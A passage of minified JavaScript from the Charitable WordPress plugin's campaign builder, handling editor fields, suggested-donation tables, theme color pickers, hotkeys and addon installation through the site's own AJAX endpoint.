$this=$(this),section=$this.data("settings-section"),$panel=$(".charitable-panel-sidebar-content"),$sectionButtons=$panel.find(".charitable-panel-sidebar-section"),$sectionButton=$panel.find(".charitable-panel-sidebar-section-"+section),cookieName="charitable_panel_sidebar_section";if(!$sectionButton.hasClass("active")){app.panelSectionSwitchTo(section,$panel,$sectionButtons,$sectionButton);wpCookies.set(cookieName,section,2592e3)}});$builder.on("click","#charitable-builder-mobile-notice .charitable-fullscreen-notice-button-primary, #charitable-builder-mobile-notice .close",function(){window.location.href=charitable_builder.exit_url});$builder.on("click","#charitable-builder-mobile-notice .charitable-fullscreen-notice-button-secondary",function(){window.location.href=wpchar.updateQueryString("force_desktop_view",1,window.location.href)})},initFeedbackForms:function($element){var theForm=$element.closest(".charitable-form"),theConfirmation=theForm.find(".charitable-feedback-form-interior-confirmation"),data={name:theForm.find(".charitable-feedback-form-name").val(),email:theForm.find(".charitable-feedback-form-email").val(),feedback:theForm.find(".charitable-feedback-form-feedback").val(),type:theForm.find(".charitable-feedback-form-type").val()};if(""===data.name||""===data.email||""===data.feedback){$.alert({title:false,content:charitable_builder.feedback_form_fields_required,icon:"fa fa-info-circle",type:"red",buttons:{confirm:{text:charitable_builder.ok,btnClass:"btn-confirm",keys:["esc"],action:function(){}}}})}else{$element.addClass("charitable-disabled");theForm.addClass("charitable-processing");theForm.find(".charitable-loading-spinner").removeClass("charitable-hidden");var ajaxData={action:"charitable_campaign_builder_send_feedback_ajax",dataType:"json",data:data,nonce:charitable_builder.nonce};$.post(charitable_builder.ajax_url,ajaxData,function(response){if(response.success){$element.removeClass("charitable-disabled");theForm.removeClass("charitable-processing");theForm.find(".charitable-feedback-form-interior").addClass("charitable-hidden");theConfirmation.removeClass("charitable-hidden");theConfirmation.find(".charitable-form-confirmation").removeClass("charitable-hidden")}}).fail(function(xhr,textStatus,e){}).always(function(){})}},toggleUnfoldableGroup:function(e){e.preventDefault();var $title=$(e.target),$group=$title.closest(".charitable-panel-fields-group"),$inner=$group.find(".charitable-panel-fields-group-inner"),cookieName="charitable_fields_group_"+$group.data("group");if($group.hasClass("opened")){wpCookies.remove(cookieName);$inner.stop().slideUp(150,function(){$group.removeClass("opened")})}else{wpCookies.set(cookieName,"true",2592e3);$group.addClass("opened");$inner.stop().slideDown(150)}},updateDebugWindow:function(data,campaignID=0){var ajaxData={action:"charitable_update_debug_window_ajax",dataType:"json",data:data,id:campaignID,nonce:charitable_builder.nonce};$.post(charitable_builder.ajax_url,ajaxData,function(response){if(response.success){$(".charitable-debug").html(response.data)}}).fail(function(xhr,textStatus,e){}).always(function(){})},dismissNotice:function(){$builder.on("click",".charitable-alert-field-not-available .charitable-dismiss-button",function(e){e.preventDefault();var $button=$(this),$alert=$button.closest(".charitable-alert"),fieldId=$button.data("field-id");$alert.addClass("out");setTimeout(function(){$alert.remove()},250);if(fieldId){$("#charitable-field-option-"+fieldId).remove()}})},initHTMLEditorFields:function($element,minmum=false){if($.inArray($element.attr("id"),s.quilled)==-1){var $container_id="#"+$element.attr("id"),div_height=200,textarea_name=$element.data("textarea-name");if(minmum!==false){var toolbarOptions=["bold","italic","underline","strike"];var quill=new Quill($container_id,{debug:"info",theme:"snow",modules:{toolbar:toolbarOptions}});$($container_id).css("height",div_height+"px");$($container_id).css("min-height",div_height+"px");quill.focus;s.quilled.push($element.attr("id"))}else{var quill=new Quill($container_id,{theme:"snow"});quill.focus;s.quilled.push($element.attr("id"))}$($container_id).on("focus",".ql-editor",function(){var contents=$element.find(".ql-editor").html();if($element.closest(".charitable-panel-field-textarea").attr("data-special-type")==="campaign_description"){$("#charitable-panel-field-settings-campaign_description .ql-editor").html(contents);elements.$preview.find(".charitable-field-campaign-description .charitable-campaign-builder-placeholder-preview-text").html("<div>"+contents+"</div>");s.campaignDescription=contents}});quill.on("text-change",function(delta,oldDelta,source){var contents=$element.find(".ql-editor").html(),tab_id=$element.closest(".charitable-group-row").data("tab-id"),field_id=$element.closest(".charitable-panel-field").data("field-id");app.setCampaignNotSaved();$('input[name="'+textarea_name+'"]').val(contents);if($element.closest(".charitable-panel-field-textarea").attr("data-special-type")==="campaign_description"){if($.trim(app.removeTags(contents))===""){elements.$preview.find(".charitable-campaign-builder-no-description-preview").removeClass("charitable-hidden");elements.$preview.find(".charitable-field-campaign-description .charitable-campaign-builder-placeholder-preview-text").html("<div></div>");s.campaignDescription=""}else{elements.$preview.find(".charitable-field-campaign-description .charitable-campaign-builder-placeholder-preview-text").html("<div>"+contents+"</div>");s.campaignDescription=contents}$("#charitable-panel-field-settings-campaign_description .ql-editor").html(contents)}if($element.closest(".charitable-panel-field-textarea").attr("data-special-type")==="campaign_overview"){if($.trim(app.removeTags(contents))===""){elements.$preview.find(".charitable-campaign-builder-no-overview-preview").removeClass("charitable-hidden");elements.$preview.find(".charitable-field-campaign-overview .charitable-campaign-builder-placeholder-preview-text").html("<div></div>");s.campaignDescription=""}else{elements.$preview.find(".charitable-field-campaign-overview .charitable-campaign-builder-placeholder-preview-text").html("<div>"+contents+"</div>");s.campaignDescription=contents}$("#charitable-panel-field-settings-campaign_overview .ql-editor").html(contents)}if($element.closest(".charitable-panel-field-textarea").attr("data-special-type")==="organizer_content"){field_id=parseInt($element.closest(".charitable-panel-field-textarea").data("field-id"));if($.trim(app.removeTags(contents))===""){elements.$preview.find("#charitable-field-"+field_id+" .charitable-organizer-description").html("<div></div>")}else{elements.$preview.find("#charitable-field-"+field_id+" .charitable-organizer-description").html("<div>"+contents+"</div>")}}if($element.closest(".charitable-panel-field-textarea").attr("data-special-type")==="text"){field_id=parseInt($element.closest(".charitable-panel-field-textarea").data("field-id"));if($.trim(app.removeTags(contents))===""){elements.$preview.find("#charitable-field-"+field_id+" .charitable-campaign-builder-placeholder-preview-text").html("<div></div>")}else{elements.$preview.find("#charitable-field-"+field_id+" .charitable-campaign-builder-placeholder-preview-text").html("<div>"+contents+"</div>")}}if(minmum!==false){var div_height=parseInt($element.find(".ql-editor").height()/2);$("#tab_"+tab_id+"_content .placeholder.big").css("min-height",div_height+"px")}})}else{}},initSuggestedDonations:function($element){wpchar.debug($element,"initSuggestedDonations");var $table=$element.closest(".charitable-campaign-suggested-donations"),$add_row_button=$element.find("[data-charitable-add-row]"),donation_type=$add_row_button.data("charitable-add-row"),$delete_row_button=$element.find(".charitable-delete-row");$add_row_button.on("click",function(event){event.preventDefault();event.stopImmediatePropagation();var type=$(this).data("charitable-add-row");if("suggested-amount"===type){app.add_suggested_amount_row($(this))}else if("suggested-recurring-amount"===type){app.add_suggested_amount_row($(this),"recurring")}app.initSuggestedDonations($element);return false});$delete_row_button.on("click",function(event){event.preventDefault();event.stopImmediatePropagation();var donation_type=$(this).closest(".charitable-campaign-suggested-donations").find("[data-charitable-add-row]").data("charitable-add-row");if("suggested-amount"===donation_type){app.delete_suggested_amount_row($(this))}else if("suggested-recurring-amount"===donation_type){app.delete_suggested_amount_row($(this),"recurring")}app.initSuggestedDonations($element);return false});$(".charitable-campaign-suggested-donations tbody").sortable({items:"tr:not(.to-copy)",handle:".handle",stop:function(event,ui){app.reindex_rows();$(".charitable-campaign-suggested-donations-mini").each(function(){app.updateSuggestdDonationsMiniRowsFromSettings($(this));app.redrawDonationAmountsPreview($(this))})}});$table.on("click","th.default_amount-col a, a.charitable-clear-defaults",function(){$table.find(".default_amount-col input").prop("checked",false);$(this).blur();return false});$table.on("change",'input[type="radio"]',function(){app.redrawDonationAmountsPreview($table)})},updateSuggestdDonationsMiniRowsFromSettings:function($element,field_id=0){if(0===field_id){field_id=$element.closest(".charitable-panel-field").data("field-id")}$element.find("tbody").children("tr").not(".to-copy").remove();$("#campaign_donation_amounts tbody").children("tr").not(".no-suggested-amounts").not(".to-copy").each(function(index){var row_to_add="",updatedIndex=index+1,updatedDonationValue=$(this).find(".amount-col input").val(),isChecked=$(this).find(".default_amount-col input").is(":checked")?"checked":"";row_to_add=row_to_add+'<tr class="" data-index="'+updatedIndex+'">';row_to_add=row_to_add+'<td class="reorder-col"><span class="charitable-icon charitable-icon-donations-grab handle ui-sortable-handle"></span></td>';row_to_add=row_to_add+'<td class="default_amount-col"><input '+isChecked+' type="radio" class="campaign_suggested_donations" name="_fields]['+field_id+'][donation_amounts][campaign_suggested_donations_default][]" value="'+updatedIndex+'"></td>';row_to_add=row_to_add+'<td class="amount-col"><input autocomplete="false" type="text" class="campaign_suggested_donations" name="_fields]['+field_id+"][donation_amounts]["+updatedIndex+'][amount]" value="'+updatedDonationValue+'" placeholder="Amount"></td>';row_to_add=row_to_add+'<td class="description-col"><input type="text" class="campaign_suggested_donations" name="_fields]['+field_id+"][donation_amounts]["+updatedIndex+'][description]" value="This is a small donation." placeholder="Optional Description">';row_to_add=row_to_add+"</td>";row_to_add=row_to_add+'<td class="remove-col"><span class="dashicons-before dashicons-dismiss charitable-delete-row"></span></td>';row_to_add=row_to_add+"</tr>";$element.find("tbody").append(row_to_add)});return $element},updateSuggestdDonationsRowsFromSettings:function($miniTableTBody,$element){if(typeof $element==="undefined"||$element.length===0){$element=$("#campaign_donation_amounts")}$element.find("tbody").children("tr").not(".to-copy").remove();$miniTableTBody.children("tr").not(".no-suggested-amounts").not(".to-copy").each(function(index){var row_to_add="",updatedIndex=index+1,updatedDonationValue=$(this).find(".amount-col input").val(),isChecked=$(this).find(".default_amount-col input").is(":checked")?"checked":"";row_to_add=row_to_add+'<tr class="" data-index="'+updatedIndex+'">';row_to_add=row_to_add+'<td class="reorder-col"><span class="charitable-icon charitable-icon-donations-grab handle ui-sortable-handle"></span></td>';row_to_add=row_to_add+'<td class="default_amount-col"><input '+isChecked+' type="radio" class="campaign_suggested_donations" name="settings][donation-options][donation_amounts][campaign_suggested_donations_default][]" value="'+updatedIndex+'">';row_to_add=row_to_add+'<td class="amount-col"><input autocomplete="off" type="text" class="campaign_suggested_donations" name="settings][donation-options][donation_amounts]['+updatedIndex+'][amount]" value="'+updatedDonationValue+'" placeholder="Amount">';row_to_add=row_to_add+'<td class="description-col"><input type="text" class="campaign_suggested_donations" name="settings][donation-options][donation_amounts]['+updatedIndex+'][description]" value="This is a small donation." placeholder="Optional Description">';row_to_add=row_to_add+"</td>";row_to_add=row_to_add+'<td class="remove-col"><span class="dashicons-before dashicons-dismiss charitable-delete-row"></span></td>';row_to_add=row_to_add+"</tr>";$element.find("tbody").append(row_to_add)});return $element},initSuggestedDonationsMini:function($element){wpchar.debug($element,"initSuggestedDonationsMini");wpchar.debug("initSuggestedDonationsMini");var field_id=$element.closest(".charitable-panel-field").data("field-id");wpchar.debug($element,"initSuggestedDonationsMini");app.updateSuggestdDonationsMiniRowsFromSettings($element,field_id);wpchar.debug($element,"initSuggestedDonationsMini2");app.redrawDonationAmountsPreview($element);wpchar.debug($element,"initSuggestedDonationsMini3");var $table=$element.closest(".charitable-campaign-suggested-donations-mini"),$add_row_button=$element.find("[data-charitable-add-row]");$add_row_button.on("click",function(){var type=$(this).data("charitable-add-row");if("suggested-amount"===type){wpchar.debug("type is suggesetd amount");wpchar.debug($(this));app.add_suggested_amount_row($(this),"mini")}return false});$(".charitable-campaign-suggested-donations-mini tbody").sortable({items:"tr:not(.to-copy)",handle:".handle",stop:function(event,ui){wpchar.debug("sortable test mini ");app.reindex_rows("mini");app.updateSuggestdDonationsRowsFromSettings($(this));app.redrawDonationAmountsPreview($(this).parent())}});$table.on("click",".charitable-delete-row",function(){app.delete_suggested_amount_row($(this),"mini");return false});$table.on("click","th.default_amount-col a",function(){$table.find(".default_amount-col input").prop("checked",false);$(this).blur();return false});$table.on("change",'input[type="radio"]',function(){app.redrawDonationAmountsPreview($table);var radioButtonValue=$(this).val();$builder.find(".charitable-campaign-suggested-donations-table").find('input[type="radio"]').prop("checked",false);$builder.find(".charitable-campaign-suggested-donations-table").each(function(){$(this).find('input[type="radio"][value="'+radioButtonValue+'"]').prop("checked",true)})})},add_suggested_amount_row:function($button,type=""){wpchar.debug("add_suggested_amount_row");wpchar.debug(".charitable-campaign-suggested-donations"+type);const $donations_table=type==="recurring"?$builder.find(".charitable-campaign-suggested-recurring-donations-table"):$builder.find(".charitable-campaign-suggested-donations-table");$donations_table.each(function(){wpchar.debug($(this));var $table=$(this).closest("table").find("tbody"),$clone=$table.find("tr.to-copy").clone().removeClass("to-copy hidden");var newIndex=$table.find("tr:not(.to-copy)").length+1;$clone.attr("data-index",newIndex);var inputFieldName=$clone.find('.amount-col input[type="text"].campaign_suggested_donations').attr("name"),newInputFieldName=inputFieldName.replace("[0]","["+newIndex+"]"),inputFieldNameDescription=$clone.find('.description-col input[type="text"].campaign_suggested_donations').attr("name"),newInputFieldNameDescription=inputFieldNameDescription.replace("[0]","["+newIndex+"]");wpchar.debug($clone.find('.amount-col input[type="text"].campaign_suggested_donations'));wpchar.debug($clone.find('.amount-col input[type="text"].campaign_suggested_donations').attr("name"));$clone.find('.amount-col input[type="text"].campaign_suggested_donations').attr("name",newInputFieldName);$clone.find('.description-col input[type="text"].campaign_suggested_donations').attr("name",newInputFieldNameDescription);$clone.find('.default_amount-col input[type="radio"]').val(newIndex);wpchar.debug($table,"table");wpchar.debug($clone,"clone");$table.find(".no-suggested-amounts").hide();$table.append($clone);$clone.on("click",".charitable-delete-row",function(){app.delete_suggested_amount_row($(this),type);return false})});app.redrawDonationAmountsPreview($builder.find(".charitable-campaign-suggested-donations-table").first());app.reindex_rows(type);if(type===""){app.toggle_custom_donations_checkbox()}},delete_suggested_amount_row:function($button,type=""){wpchar.debug("delete_suggested_amount_row");wpchar.debug($button);wpchar.debug(type);var $row_to_delete=$button.closest("tr "),row_to_delete_index=parseInt($row_to_delete.attr("data-index"));wpchar.debug($row_to_delete);wpchar.debug(row_to_delete_index,"row_to_delete_index");const $donations_table=type==="recurring"?$builder.find(".charitable-campaign-suggested-recurring-donations-table"):$builder.find(".charitable-campaign-suggested-donations-table"),donations_table_class=type==="recurring"?".charitable-campaign-suggested-recurring-donations-table":".charitable-campaign-suggested-donations-table";if(row_to_delete_index>0){wpchar.debug($donations_table.find(' tbody tr[data-index="'+row_to_delete_index+'"]'));wpchar.debug(donations_table_class+' tbody tr[data-index="'+row_to_delete_index+'"]');$donations_table.find(' tbody tr[data-index="'+row_to_delete_index+'"]').remove()}app.redrawDonationAmountsPreview($builder.find(".charitable-campaign-suggested-donations-table").first());var $table=$button.closest("table").find("tbody");if($table.find("tr:not(.to-copy)").length==1){$table.find(".no-suggested-amounts").removeClass("hidden").show()}app.reindex_rows(type);if(type===""){app.reindex_rows("mini")}else if(type==="mini"){app.reindex_rows()}if(type===""){app.toggle_custom_donations_checkbox()}},reindex_rows:function(type=""){wpchar.debug("reindex rows with type: "+type);if(type!==""){type="-"+type}$(".charitable-campaign-suggested-donations"+type+" tbody").each(function(){$(this).children("tr").not(".no-suggested-amounts .to-copy").each(function(index){$(this).find('input[type="radio"]').val(index);$(this).attr("data-index",index);$(this).find("input").each(function(i){this.name=this.name.replace(/(\[\d\])/,"["+index+"]")})})})},redrawDonationAmountsPreview:function(targetTable){elements.$preview.find("ul.charitable-preview-donation-amounts").each(function(index){var $theDontionAmountsList=$(this);$theDontionAmountsList.find("li").remove();$(targetTable).find("tbody").children("tr").not(".no-suggested-amounts").not(".to-copy").not("hidden").each(function(index){var theInputTextValue=$(this).find('input[type="text"].campaign_suggested_donations').first().val();var selected="";wpchar.debug($(this).find('input[type="radio"]'));if($(this).find('input[type="radio"]').is(":checked")){selected=" selected"}$theDontionAmountsList.append('<li class="charitable-preview-donation-amount suggested-donation-amount'+selected+'"><label><input type="radio" name="donation_amount" value="'+index+'"><span class="amount">'+theInputTextValue+"</span></label></li>")});if($("#charitable-panel-field-settings-campaign_allow_custom_donations").is(":checked")){$theDontionAmountsList.append('<li class="charitable-preview-donation-amount custom-donation-amount "><span class="custom-donation-amount-wrapper"><label><input type="radio" name="donation_amount" value="custom"><span class="description">Custom amount</span></label><input type="text" disabled=""true"" class="custom-donation-input" name="custom_donation_amount" placeholder="Custom Donation Amount" value=""></span></li>')}})},toggle_custom_donations_checkbox:function(){var $custom=$("#campaign_allow_custom_donations"),$suggestions=$(".charitable-campaign-suggested-donations tbody tr:not(.to-copy)"),has_suggestions=$suggestions.length>1||false===$suggestions.first().hasClass("no-suggested-amounts");$custom.prop("disabled",!has_suggestions);if(!has_suggestions){$custom.prop("checked",true)}},initTagField:function($element){$element.select2()},initColorPicker:function(){Coloris({el:".coloris"});Coloris.setInstance(".instance2.primary",{defaultColor:s.primaryThemeColor,onChange:function(color){if(""===color){$('input[name="layout__advanced__theme_color_primary"]').val(s.primaryThemeColorBase);s.primaryThemeColor=s.primaryThemeColorBase;document.querySelector('input[name="layout__advanced__theme_color_primary"]').dispatchEvent(new Event("input",{bubbles:true}))}else{s.primaryThemeColor=color}app.updateThemeCSS("primary",s.templateID,s.primaryThemeColor,s.secondaryThemeColor,s.tertiaryThemeColor,s.buttonThemeColor,true)},theme:"polaroid",themeMode:"light",alpha:false,formatToggle:true,closeButton:true,clearButton:true,clearLabel:"Reset",swatches:["#067bc2","#84bcda","#80e377","#ecc30b","#f37748","#d56062"]});Coloris.setInstance(".instance2.secondary",{defaultColor:s.secondaryThemeColor,onChange:function(color){if(""===color){$('input[name="layout__advanced__theme_color_secondary"]').val(s.secondaryThemeColorBase);s.secondaryThemeColor=s.secondaryThemeColorBase;app.updateThemeCSS("secondary",s.templateID,s.primaryThemeColor,s.secondaryThemeColor,s.tertiaryThemeColor,s.buttonThemeColor,true);document.querySelector('input[name="layout__advanced__theme_color_secondary"]').dispatchEvent(new Event("input",{bubbles:true}))}else{s.secondaryThemeColor=color;app.updateThemeCSS("secondary",s.templateID,s.primaryThemeColor,s.secondaryThemeColor,s.tertiaryThemeColor,s.buttonThemeColor,true)}},theme:"polaroid",themeMode:"light",alpha:false,formatToggle:true,closeButton:true,clearButton:true,clearLabel:"Reset",swatches:["#067bc2","#84bcda","#80e377","#ecc30b","#f37748","#d56062"]});Coloris.setInstance(".instance2.tertiary",{defaultColor:s.tertiaryThemeColor,onChange:function(color){if(""===color){$('input[name="layout__advanced__theme_color_tertiary"]').val(s.tertiaryThemeColorBase);s.tertiaryThemeColor=s.tertiaryThemeColorBase;app.updateThemeCSS("teritary",s.templateID,s.primaryThemeColor,s.secondaryThemeColor,s.tertiaryThemeColor,s.buttonThemeColor,true);document.querySelector('input[name="layout__advanced__theme_color_tertiary"]').dispatchEvent(new Event("input",{bubbles:true}))}else{s.tertiaryThemeColor=color;app.updateThemeCSS("teritary",s.templateID,s.primaryThemeColor,s.secondaryThemeColor,s.tertiaryThemeColor,s.buttonThemeColor,true)}},theme:"polaroid",themeMode:"light",alpha:false,formatToggle:true,closeButton:true,clearButton:true,clearLabel:"Reset",swatches:["#067bc2","#84bcda","#80e377","#ecc30b","#f37748","#d56062"]});Coloris.setInstance(".instance2.button-color",{defaultColor:s.buttonThemeColor,onChange:function(color){if(""===color){$('input[name="layout__advanced__theme_color_button"]').val(s.buttonThemeColorBase);s.buttonThemeColor=s.buttonThemeColorBase;app.updateThemeCSS("button",s.templateID,s.primaryThemeColor,s.secondaryThemeColor,s.tertiaryThemeColor,s.buttonThemeColor,true);document.querySelector('input[name="layout__advanced__theme_color_button"]').dispatchEvent(new Event("input",{bubbles:true}))}else{s.buttonThemeColor=color;app.updateThemeCSS("button",s.templateID,s.primaryThemeColor,s.secondaryThemeColor,s.tertiaryThemeColor,s.buttonThemeColor,true)}},theme:"polaroid",themeMode:"light",alpha:false,formatToggle:true,closeButton:true,clearButton:true,clearLabel:"Reset",swatches:["#067bc2","#84bcda","#80e377","#ecc30b","#f37748","#d56062"]});elements.$fieldOptions.on("click",".clr-field button",function(e){e.preventDefault();$(this).parent().find('input[type="text"]').trigger("click")})},initDatePicker:function($element){var $the_element=$element,options={dateFormat:$the_element.data("format")||"MM d, yy",minDate:$the_element.data("min-date")||"",beforeShow:function(input,inst){setTimeout(function(){$(".ui-datepicker").css("z-index",99999999999999)},0)}};if($.isFunction($the_element.datepicker)){$the_element.datepicker(options);if($the_element.data("date")){$the_element.datepicker("setDate",this.$el.data("date"))}if($the_element.data("min-date")){$the_element.datepicker("option","minDate",this.$el.data("min-date"))}}},trimFormTitle:function(){var $title=$(".charitable-center-form-name");if($title.text().length>38){var shortTitle=$title.text().trim().substring(0,38).split(" ").slice(0,-1).join(" ")+"...";$title.text(shortTitle)}},builderHotkeys:function(){hotkeys("esc,ctrl+1,ctrl+2,ctrl+3,ctrl+4,ctrl+5,ctrl+s,ctrl+p,ctrl+x,ctrl+v",function(event,handler){switch(handler.key){case"esc":if($(".charitable-builder-modal.charitable-builder-modal-template-preview").hasClass("active")){$(".charitable-template-list-container").removeClass("disabled");$("#charitable-builder-underlay").remove();$(".charitable-builder-modal.charitable-builder-modal-template-preview").removeClass("active")}break;case"ctrl+1":$(elements.$templateButton,$builder).trigger("click");break;case"ctrl+2":$(elements.$designButton,$builder).trigger("click");break;case"ctrl+3":$(elements.$settingsButton,$builder).trigger("click");break;case"ctrl+4":$(elements.$marketingButton,$builder).trigger("click");break;case"ctrl+5":$(elements.$paymentButton,$builder).trigger("click");break;case"ctrl+s":$(elements.$saveButton,$builder).trigger("click");break;case"ctrl+p":$(elements.$previewButton,$builder).trigger("click");break;case"ctrl+x":$(elements.$exitButton,$builder).trigger("click");break;case"ctrl+v":$(elements.$viewCampaignButton,$builder).trigger("click");break}})},openModalButtonClick:function(){$(document).on("click",".charitable-not-available:not(.charitable-add-fields-button)",app.openModalButtonHandler).on("mousedown",".charitable-not-available.charitable-add-fields-button",app.openModalButtonHandler);$(document).on("click",".charitable-disabled-modal:not(.charitable-add-fields-button)",app.openModalWarningModal).on("mousedown",".charitable-add-fields-button.charitable-disabled-modal",app.openModalWarningModal);$(document).on("click",".charitable-disabled-same_page:not(.charitable-add-fields-button)",app.openModalWarningModal).on("mousedown",".charitable-add-fields-button.charitable-disabled-same_page",app.openModalWarningModal);$(document).on("click",".charitable-not-installed:not(.charitable-add-fields-button)",app.openModalButtonHandlerInstall).on("mousedown",".charitable-not-installed.charitable-add-fields-button",app.openModalButtonHandlerInstall);$(document).on("click",".charitable-not-activated:not(.charitable-add-fields-button)",app.openModalButtonHandlerActivate).on("mousedown",".charitable-not-activated.charitable-add-fields-button",app.openModalButtonHandlerActivate);$(document).on("click",".charitable-addon-file-missing:not(.charitable-add-fields-button)",app.openModalButtonHandlerInstall).on("mousedown",".charitable-addon-file-missing.charitable-add-fields-button",app.openModalButtonHandlerInstall);$(document).on("click",".charitable-not-available:not(.charitable-setting-panel-upgrade-to-pro)",app.openModalButtonHandler).on("mousedown",".charitable-not-available.charitable-setting-panel-upgrade-to-pro",app.openModalButtonHandler);$(document).on("click",".charitable-need-upgrade:not(.charitable-setting-panel-upgrade-to-pro)",app.openModalButtonHandler).on("mousedown",".charitable-need-upgrade.charitable-setting-panel-upgrade-to-pro",app.openModalButtonHandler);$(document).on("click",".charitable-installed-refresh:not(.charitable-add-fields-button)",app.openModalButtonHandlerActivatedRefresh).on("mousedown",".charitable-installed-refresh.charitable-add-fields-button",app.openModalButtonHandlerActivatedRefresh);$(document).on("click","a.button-link.charitable-not-activated",app.openModalButtonHandlerActivate).on("mousedown","a.button-link.charitable-not-activated",app.openModalButtonHandlerActivate);$(document).on("click","a.button-link.charitable-not-installed",app.openModalButtonHandlerInstall).on("mousedown","a.button-link.charitable-not-installed",app.openModalButtonHandlerInstall);$(document).on("click","a.button-link.charitable-not-activated-button",app.activateFromButton).on("mousedown","a.button-link.charitable-not-activated-button",app.activateFromButton);$(document).on("click","a.button-link.charitable-not-installed-button",app.installFromButton).on("mousedown","a.button-link.charitable-not-installed-button",app.installFromButton)},activateFromButton:function(e){e.preventDefault();const $button=$(this),plugin_url=$(this).data("plugin-url"),plugin_name=$(this).data("name"),settings_url=$(this).data("settings-url"),plugin_slug=$(this).data("plugin-slug"),enable_url=$(this).data("enable-url").length>0?$(this).data("enable-url"):"";if(!plugin_url||!plugin_name){return}app.installFromButtonAjax(plugin_url,plugin_name,settings_url,plugin_slug,enable_url,"activate","addon",$button)},installFromButton:function(e){e.preventDefault();const $button=$(this),plugin_url=$(this).data("plugin-url"),plugin_name=$(this).data("name"),settings_url=$(this).data("settings-url"),plugin_slug=$(this).data("plugin-slug"),enable_url=$(this).data("enable-url").length>0?$(this).data("enable-url"):"";if(!plugin_url||!plugin_name){return}app.installFromButtonAjax(plugin_url,plugin_name,settings_url,plugin_slug,enable_url,"install","addon",$button)},installFromButtonAjax:function(plugin_url,plugin_name,settings_url,plugin_slug,enable_url,state,pluginType,$button){wpchar.debug("setAddonState");wpchar.debug(plugin_url);wpchar.debug(plugin_name);wpchar.debug(state);var actions={activate:"charitable_activate_addon",install:"charitable_install_addon",deactivate:"charitable_deactivate_addon"},action=actions[state];if(!action){return}var plugin_ajax=plugin_url;if("install"===state){if(enable_url.length>0){$button.text("Installing and activating gateway...")}else{$button.text("Installing and activating...")}$button.removeClass("charitable-not-installed-button");$button.addClass("charitable-view-settings-button")}else if("activate"===state){if(enable_url.length>0){$button.text("Activating gateway...")}else{$button.text("Activating...")}$button.removeClass("charitable-not-activated-button");$button.addClass("charitable-view-settings-button");plugin_ajax=plugin_slug}var data={action:action,nonce:charitable_admin.nonce,plugin:plugin_ajax,type:pluginType};wpchar.debug(data);$.post(charitable_admin.ajax_url,data,function(res){if("install"===state){$('a.button-link[data-plugin-slug="'+plugin_slug+'"]').each(function(){$(this).text("View Settings");$(this).removeClass("charitable-not-installed-button");$(this).addClass("charitable-view-settings-button");if(enable_url.length>0){$(this).attr("href",enable_url)}else{$(this).attr("href",settings_url)}$(this).attr("target","_blank")});$("section.header-content h2").addClass("charitable-hidden");$("section.header-content h2.charitable-header-content-activated").removeClass("charitable-hidden")}else if("activate"===state){$('a.button-link[data-plugin-slug="'+plugin_slug+'"]').each(function(){$(this).text("View Settings");$(this).removeClass("charitable-not-installed-button");$(this).addClass("charitable-view-settings-button");if(enable_url.length>0){$(this).attr("href",enable_url)}else{$(this).attr("href",settings_url)}$(this).attr("target","_blank")});$("section.header-content h2").addClass("charitable-hidden");$("section.header-content h2.charitable-header-content-activated").removeClass("charitable-hidden")}}).fail(function(xhr){wpchar.debug(xhr.responseText)})},openModalWarningModal:function(event){const $this=$(this);event.preventDefault();event.stopImmediatePropagation();let name=$this.data("name"),icon="",reason="";if($this.hasClass("charitable-add-fields-button")){name=$this.text();name+=name.indexOf(charitable_builder.field)<0?" "+charitable_builder.field:"";if($this.data("field-icon")){icon=$this.data("field-icon")}}if($this.hasClass("charitable-disabled-modal")){reason="modal"}else if($this.hasClass("charitable-disabled-same_page")){reason="same_page"}app.modalWarningModal(name,reason,icon)},openModalButtonHandlerInstall:function(event){const $this=$(this);var icon="",plugin_url="",video="",license="",elementType=false;if($this.data("action")&&["activate","install"].includes($this.data("action"))){return}event.preventDefault();event.stopImmediatePropagation();let name=$this.data("name");if($this.hasClass("charitable-add-fields-button")){name=$this.text();name+=name.indexOf(charitable_builder.field)<0?" "+charitable_builder.field:"";if($this.data("field-icon")){icon=$this.data("field-icon")}}if($this.data("install")){plugin_url=$this.data("install")}else if($this.data("plugin-url")){plugin_url=$this.data("plugin-url")}if($this.data("video")){video=$this.data("video")}if($this.data("license")){license=$this.data("license")}app.installModal(name,plugin_url,license,video,$this,elementType,icon)},openModalButtonHandlerActivatedRefresh:function(event){const $this=$(this);event.preventDefault();event.stopImmediatePropagation();let name=$this.data("name");app.activateRefreshModal(name,$this.data("video"))},openModalButtonHandlerActivate:function(event){const $this=$(this);var icon="",plugin_url="",video="",license="",elementType=false;if($this.data("action")&&["activate","install"].includes($this.data("action"))){return}event.preventDefault();event.stopImmediatePropagation();let name=$this.data("name");if($this.data("plugin-url")){plugin_url=$this.data("plugin-url")}if($this.data("video")){video=$this.data("video")}if($this.data("license")){license=$this.data("license")}app.activateModal(name,plugin_url,license,video,$this,elementType,icon)},openModalButtonHandler:function(event){const $this=$(this);if($this.data("action")&&["activate","install"].includes($this.data("action"))){return}event.preventDefault();event.stopImmediatePropagation();let icon="",name=$this.data("name"),elementType=$this.data("type");if($this.hasClass("charitable-add-fields-button")){name=$this.text();name+=name.indexOf(charitable_builder.field)<0?" "+charitable_builder.field:"";if($this.data("field-icon")){icon=$this.data("field-icon")}}const utmContent="utmValue";app.upgradeModal(name,utmContent,$this.data("license"),$this.data("video"),elementType,icon)},modalWarningModal:function(feature,reason="",icon=""){var message="",modalWidth=app.getUpgradeModalWidth(false),title="";if(reason==="modal"){message=charitable_builder.field_disabled_due_to_modal.replace(/%name%/g,feature)}else if(reason==="same_page"){message=charitable_builder.field_disabled_due_to_same_page.replace(/%name%/g,feature)}var modal=$.alert({backgroundDismiss:true,title:title,icon:icon!==""?"fa "+icon:"fa fa-thumbs-up",content:message,boxWidth:modalWidth,theme:"modern,charitable-install-form",closeIcon:true,buttons:{confirm:{text:charitable_builder.ok,btnClass:"btn-confirm",keys:["enter"],action:function(){}},cancel:{text:charitable_builder.go_to_settings,btnClass:"btn-confirm",action:function(){window.open(charitable_builder.settings_page_url)}}}})},setAddonState:function(plugin_url,plugin_name,state,pluginType,modal,clickedObject,callback){wpchar.debug("setAddonState");wpchar.debug(plugin_url);wpchar.debug(plugin_name);wpchar.debug(state);var actions={activate:"charitable_activate_addon",install:"charitable_install_addon",deactivate:"charitable_deactivate_addon"},action=actions[state];if(!action){return}var 